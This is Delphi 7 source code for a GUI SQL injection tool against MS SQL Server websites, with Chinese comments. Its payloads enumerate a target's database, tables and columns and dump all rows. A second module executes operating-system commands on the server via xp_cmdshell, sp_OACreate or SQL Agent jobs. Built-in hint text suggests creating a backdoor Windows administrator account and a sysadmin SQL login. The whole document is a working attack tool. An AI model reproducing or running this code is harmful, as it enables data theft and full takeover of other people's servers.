|
D7原代码:
unit untmain;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, idHttp, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, OleCtrls, SHDocVw,mshtml;
type TForm1 = class(TForm) Label1: TLabel; EdtUrl: TEdit; BtnCheck: TButton; Label2: TLabel; GroupBox1: TGroupBox; Label7: TLabel; Label3: TLabel; Label4: TLabel; Label5: TLabel; Label6: TLabel; EdtMuliCase: TEdit; EdtQuery: TEdit; EdtUser: TEdit; EdtPower: TEdit; EdtDbName: TEdit; Memo1: TMemo; GroupBox2: TGroupBox; cbDisp: TCheckBox; EdtCommand: TEdit; rbCmd: TRadioButton; rbOA: TRadioButton; BtnExecute: TButton; GroupBox3: TGroupBox; Memo2: TMemo; wb: TWebBrowser; BtnStop: TButton; rbJob: TRadioButton; BtnCancel: TButton; procedure BtnCheckClick(Sender: TObject); procedure BtnExecuteClick(Sender: TObject); procedure wbDocumentComplete(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant); procedure BtnStopClick(Sender: TObject); procedure rbCmdClick(Sender: TObject); procedure rbOAClick(Sender: TObject); procedure rbJobClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure BtnCancelClick(Sender: TObject); private { Private declarations } tag:integer; isFinish,isCancel:boolean; function Get(URL: string): boolean; function GetWBMsg(URL: string): string; Function StrToNChar(DbName,TName:string): string; procedure SetRdbCheck(rd:TRadioButton); public { Public declarations } end;
var Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.BtnCheckClick(Sender: TObject); const vFieldCount=5; PowerStr :array[0..6] of string=( 'sysadmin','dbcreator','diskadmin', 'processadmin','serveradmin', 'setupadmin','securityadmin'); var Url,DbName,TName,TName0,ColName,ColName0,NCharStr:string; i,j,k,iCount:integer; VerStr,ValueStr,CountStr,Powers:string; FieldStr,FieldOrdStr,CFieldStr:string; vfield:OleVariant; begin try EdtMuliCase.Text :=''; EdtQuery.Text :=''; EdtUser.Text :=''; EdtPower.Text :=''; EdtDbName.Text :=''; Url:=trim(EdtUrl.Text); isFinish :=False; vfield :=VarArrayCreate([0,vFieldCount-1],varVariant); Memo1.Clear; Screen.Cursor :=crHourGlass; //判断是否支持多句查询 if Get(Url+';declare%20@a%20int--') then begin EdtMuliCase.Text :='支持'; end else begin EdtMuliCase.Text :='不支持'; end; //判断是否支持子查询 if get(Url+'%20and%20(Select%20count(1)%20from%20[sysobjects])>=0') then begin EdtQuery.Text :='支持'; end else begin EdtQuery.Text :='不支持'; end; //取得当前用户 EdtUser.Text :=GetWBMsg(Url+'%20and%20char(124)%2Buser%2Bchar(124)=0'); //取得当前用户登录的服务器角色成员 for i:=0 to High(PowerStr) do begin if get(Url+'%20And%20Cast(IS_SRVROLEMEMBER('''+PowerStr+''')%20as%20varchar(1))=1') then begin Powers :=Powers+PowerStr+'|'; end; end; if Powers='' then EdtPower.Text :='未知' else EdtPower.Text :=Powers; //指明当前用户是否为 db_owner 固定数据库角色的成员 { if get(Url+'%20And%20Cast(IS_MEMBER(''db_owner'')%20as%20varchar(1))=1') then begin EdtPower.Text :='db_owner'; end else begin EdtPower.Text :='未知'; end; } //得到当前SQL Server的版本号 VerStr :=GetWBMsg(Url+'%20and%20char(124)%2B@@version%2Bchar(124)>0'); Memo1.Lines.Add('当前版本号:'+VerStr); Memo1.Lines.Add(''); //取得数据库名 DbName :=GetWBMsg(Url+'%20And%20char(124)%2Bdb_name()%2Bchar(124)=0'); EdtDbName.Text :=DbName; if (DbName='') or (DbName='未知') then begin Memo1.Lines.Add('未知的数据库,操作终止!'); exit; end; Memo1.Lines.Add('当前数据库:'+DbName); BtnStop.Visible :=true; BtnCheck.Visible :=False; //猜解表名 Memo1.Lines.Add(''); Memo1.Lines.Add('开始猜解表名.....'); Memo1.Lines.Add('#######################'); for i:=1 to 1000 do begin TName :=''; TName :=GetWBMsg(Url+'%20And%20(Select%20Top%201%20cast(char(124)%2Bname%2Bchar(124)%20as%20varchar(8000))'+ '%20from(Select%20Top%20'+inttostr(i)+'%20id,name%20from%20['+DbName+']..[sysobjects]'+ '%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0;--'); if (TName0=TName) or (isFinish) then Break; Memo1.Lines.Add('表名 :'+TName); //猜解列名 Memo1.Lines.Add(''); Memo1.Lines.Add('开始猜解列名.....'); Memo1.Lines.Add('#######################'); NCharStr :=''; NCharStr :=StrToNChar(DbName,TName); j:=1; while j<1000 do begin ColName :=''; ColName :=GetWBMsg(Url+'%20And%20(Select%20Top%201%20cast(char(124)%2Bname%2Bchar(124)'+ '%20as%20varchar(8000))%20from%20(Select%20Top%20'+inttostr(j)+'%20colid,name'+ '%20From%20['+DbName+']..[syscolumns]%20Where%20id%20=%20'+NCharStr+ '%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0;--'); if (ColName0=ColName) or (isFinish) then j:=1000 else begin Memo1.Lines.Add('列名 '+inttostr(j)+' :'+ColName); if j<vFieldCount+1 then begin vfield[j-1] :=ColName; end; ColName0 :=ColName; inc(j); end; end; Memo1.Lines.Add('#######################'); Memo1.Lines.Add('列名猜解结束.....'); Memo1.Lines.Add(''); //猜解数据 Memo1.Lines.Add('开始猜解数据.....'); Memo1.Lines.Add('#######################'); CountStr :=GetWBMsg(Url+'%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))'+ '%2Bchar(124)%20From%20['+TName+']%20Where%201=1)>0;--'); try iCount :=strtoint(CountStr); except Memo1.Lines.add('出现意外数据,操作终止!'); exit; end; Memo1.Lines.Add('表 '+TName+' :共有 '+CountStr+' 条数据。'); CFieldStr :=''; FieldStr :=''; FieldOrdStr :=''; for k:=0 to vFieldCount-1 do begin if k=0 then begin CFieldStr :='isNull(cast(['+vfield[0]+']%20as%20varchar(8000)),char(32))'; FieldStr :='['+vfield[0]+']'; FieldOrdStr :='['+vfield[0]+']%20desc'; end else begin CFieldStr :=CFieldStr+'%2B%20%2BisNull(cast(['+vfield[k]+']%20as%20varchar(8000)),char(32))'; FieldStr :=FieldStr+',['+vfield[k]+']'; FieldOrdStr :=FieldOrdStr+',['+vfield[k]+']%20desc'; end; end; k:=1; while k<iCount+1 do begin ValueStr :=''; ValueStr :=GetWBMsg(Url+'%20And%20(Select%20Top%201%20char(124)%2B'+CFieldStr+'%2Bchar(124)%20From%20(Select'+ '%20Top%20'+inttostr(k)+'%20'+FieldStr+'%20From%20['+DbName+']..['+TName+']%20Where%201=1'+ '%20Order%20by%20'+FieldStr+')%20T%20Order%20by%20'+FieldOrdStr+')>0;--');
if isFinish then k:=iCount+1; Memo1.Lines.Add('数据 '+inttostr(k)+' :'+ValueStr); inc(k); end; Memo1.Lines.Add('#######################'); Memo1.Lines.Add('数据猜解结束.....'); Memo1.Lines.Add(''); TName0 :=TName; end; Memo1.Lines.Add('#######################'); Memo1.Lines.Add('表名猜解结束.....'); finally Screen.Cursor :=crDefault; BtnStop.Visible :=False; BtnCheck.Visible :=True; end; end;
procedure TForm1.BtnExecuteClick(Sender: TObject); var Url,DbName,CommandStr:string; ResultStr,CountStr:string; iCount,i:integer; begin try Url:=trim(EdtUrl.Text); ResultStr :=''; CommandStr :=''; isCancel :=False; CommandStr:=trim(EdtCommand.Text); CommandStr:=StringReplace(CommandStr,'%','%25',[rfReplaceAll]); CommandStr:=StringReplace(CommandStr,' ','%20',[rfReplaceAll]); Memo2.Clear; Screen.Cursor :=crHourGlass; //取得数据库名 DbName :=GetWBMsg(Url+'%20And%20char(124)%2Bdb_name()%2Bchar(124)=0'); if (DbName='') or (DbName='未知') then begin Memo2.Lines.Add('未知的数据库,操作终止!'); exit; end; //Cmd_shell //使用xp_cmdshell来运行系统命令 if rbCmd.Checked then begin //回显 if cbDisp.Checked then begin BtnCancel.Visible :=true; BtnExecute.Visible :=False; //第一种办法 //把命令执行的结果保存到一个本地文件中,然后将此文件的内容写入到新建的临时表进行输出 {CommandStr:=Url+';EXEC%20MASTER..XP_CMDSHELL%20'''+CommandStr+'>C:\Command_Tmp.log'''+ ';DROP%20TABLE%20[Command_Tmp]'+ ';CREATE%20TABLE%20[Command_Tmp]([ResultTxt]%20varchar(7996)%20NULL)'+ ';BULK%20INSERT%20['+DbName+']..[Command_Tmp]%20FROM%20''C:\Command_Tmp.log''%20WITH%20(KEEPNULLS)'+ ';Alter%20Table%20[Command_Tmp]%20add%20[ID]%20int%20NOT%20NULL%20IDENTITY%20(1,1)--'; }
//第二种办法,直接把命令执行的结果写入数据库中输出,效率较高 CommandStr :=Url+';DROP%20TABLE%20[Command_Tmp];'+ 'CREATE%20TABLE%20[Command_Tmp]([id]%20int%20NOT%20NULL%20IDENTITY%20(1,1),'+ '%20[ResultTxt]%20varchar(1024)%20NULL);'+ 'insert%20into%20[Command_Tmp](ResultTxt)%20EXEC%20MASTER..XP_CMDSHELL%20'''+ CommandStr+''';insert%20into%20[Command_Tmp]%20values%20(''g_over'')--';
if Get(CommandStr) then begin CountStr :=GetWBMsg(Url+'%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))'+ '%2Bchar(124)%20From%20[Command_Tmp]%20Where%201=1)>0;--'); try iCount :=strtoint(CountStr); except Memo2.Lines.add('出现意外数据,操作终止!'); exit; end; for i:=1 to iCount do begin ResultStr :=''; ResultStr :=GetWBMsg(Url+'%20And%20(Select%20Top%201%20CASE%20WHEN%20ResultTxt%20is%20Null'+ '%20then%20char(32)%20else%20char(124)%2BResultTxt%2Bchar(124)'+ '%20End%20From%20[Command_Tmp]%20Where%20ID='+IntToStr(i)+')=0;--'); if isCancel then Break; if (ResultStr<>'') and (ResultStr<>'未知') then Memo2.Lines.Add(ResultStr); end; end; if Get(Url+';DROP%20TABLE%20[Command_Tmp]--') then begin Memo2.Lines.Add('命令执行完成'); end; end else begin CommandStr:=Url+';EXEC%20MASTER..XP_CMDSHELL%20'''+CommandStr+'''--'; if get(CommandStr) then Memo2.Lines.Add('命令执行完成。'); end; end; //OAcreate //使用sp_OACreate来运行系统命令 if rbOA.Checked then begin //指明当前用户是否为 sysadmin 固定服务器角色的成员 if get(Url+'%20And%20Cast(IS_SRVROLEMEMBER(''sysadmin'')%20as%20varchar(1))=1') then begin CommandStr :=Url+';use%20'+DbName+';declare%20@o%20int;exec%20'+ 'sp_oacreate%20''wscript.shell'',@o%20out;exec%20'+ 'sp_oamethod%20@o,''run'',NULL,''cmd%20/c%20'+ CommandStr+'''--'; if Get(CommandStr) then Memo2.Lines.Add('命令执行完成。'); end else begin Memo2.Lines.Add('只有 sysadmin 固定服务器角色的成员才能执行 sp_OACreate。'); exit; end; end; //Job //使用SQLSERVERAGENT的JOB来运行系统命令 if rbJob.Checked then begin //启动SQLSERVERAGENT if Get(Url+';exec%20master..xp_servicecontrol%20''start'',''SQLSERVERAGENT'';--') then begin Memo2.Lines.Add('SQLSERVERAGENT 启动成功!'); CommandStr :=Url+';use%20'+DbName+';exec%20sp_delete_job%20null,''x'''+ ';exec%20sp_add_job%20''x'''+ ';exec%20sp_add_jobstep%20Null,''x'',Null,''1'',''CMDEXEC'',''cmd%20/c%20'+ CommandStr+''';exec%20sp_add_jobserver%20Null,''x'',@@servername'+ ';exec%20sp_start_job%20''x''--'; if get(CommandStr) then Memo2.Lines.Add('命令执行完成。'); end else begin Memo2.Lines.Add('SQLSERVERAGENT 启动失败,操作终止!'); exit; end; end; finally Screen.Cursor :=crDefault; BtnExecute.Visible :=true; BtnCancel.Visible :=false; end; end;
function TForm1.Get(URL: string): boolean; var IDHTTP: TIDHttp; ss: String; begin Result:= False; IDHTTP:= TIDHTTP.Create(nil); try try idhttp.HandleRedirects:= true; //必须支持重定向否则可能出错 idhttp.ReadTimeout:= 30000; //超过这个时间则不再访问 ss:= IDHTTP.Get(URL); if IDHTTP.ResponseCode=200 then Result :=true; except //on E: Exception do // Application.MessageBox(pchar('出现异常,操作终止!'+#10#13+E.Message),'提示',mb_ok+mb_iconinformation); end; finally IDHTTP.Free; end; end;
function TForm1.GetWBMsg(URL: string): string; function GetResultStr(str:string):string; var istart,iend:integer; ss:string; begin istart:=pos('|',str); if istart>0 then begin ss:=copy(str,istart+1,length(str)-istart); iend :=pos('|',ss); if iend>0 then begin ss:=copy(ss,1,iend-1); end; end; if ss='' then Result :='未知' else Result :=ss; end; var ss:string; begin tag:=0; wb.Navigate(URL); while (tag=0) do Application.ProcessMessages; ss :=(wb.Document as IHTMLDocument2).Body.innerText; Result :=GetResultStr(ss); end;
function TForm1.StrToNChar(DbName, TName: string): string; var i:integer; ss,str:string; begin ss:=DbName+'..'+TName; for i:=1 to length(ss) do begin if i=1 then str :='NCHAR('+inttostr(ord(ss))+')' else str :=str+'%2BNCHAR('+inttostr(ord(ss))+')'; end; Result :='OBJECT_ID('+str+')'; end;
procedure TForm1.wbDocumentComplete(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant); begin //Memo2.Text :=(wb.Document as IHTMLDocument2).Body.innerText; tag:=1; end;
procedure TForm1.BtnStopClick(Sender: TObject); begin isFinish :=True; BtnCheck.Visible :=true; BtnStop.Visible :=False; end;
procedure TForm1.SetRdbCheck(rd: TRadioButton); begin Memo2.Clear; if rd=rbCmd then begin cbDisp.Enabled :=True; Memo2.Lines.Add('使用xp_cmdshell来运行系统命令'); Memo2.Lines.Add(''); Memo2.Lines.Add('net user test test /add'); Memo2.Lines.Add('net localgroup administrators test /add'); Memo2.Lines.Add('exec master..sp_addlogin test,test'); Memo2.Lines.Add('exec master..sp_addsrvrolemember test,sysadmin'); end; if rd=rbOA then begin cbDisp.Enabled :=False; Memo2.Lines.Add('使用sp_OACreate来运行系统命令'); end; if rd=rbJob then begin cbDisp.Enabled :=False; Memo2.Lines.Add('使用SQLSERVERAGENT的JOB来运行系统命令'); Memo2.Lines.Add('请先使用下列语句启动SQLSERVERAGENT:'); Memo2.Lines.Add(''); Memo2.Lines.Add('http://x.com/x.asp?a=1;exec master..xp_servicecontrol ''start'',''SQLSERVERAGENT'';--'); end; end;
procedure TForm1.rbCmdClick(Sender: TObject); begin SetRdbCheck(rbcmd); end;
procedure TForm1.rbOAClick(Sender: TObject); begin SetRdbCheck(rbOA); end;
procedure TForm1.rbJobClick(Sender: TObject); begin SetRdbCheck(rbJob); end;
procedure TForm1.FormShow(Sender: TObject); begin SetRdbCheck(rbcmd); end;
procedure TForm1.BtnCancelClick(Sender: TObject); begin isCancel :=True; BtnExecute.Visible :=true; BtnCancel.Visible :=false; end;
end.
|
|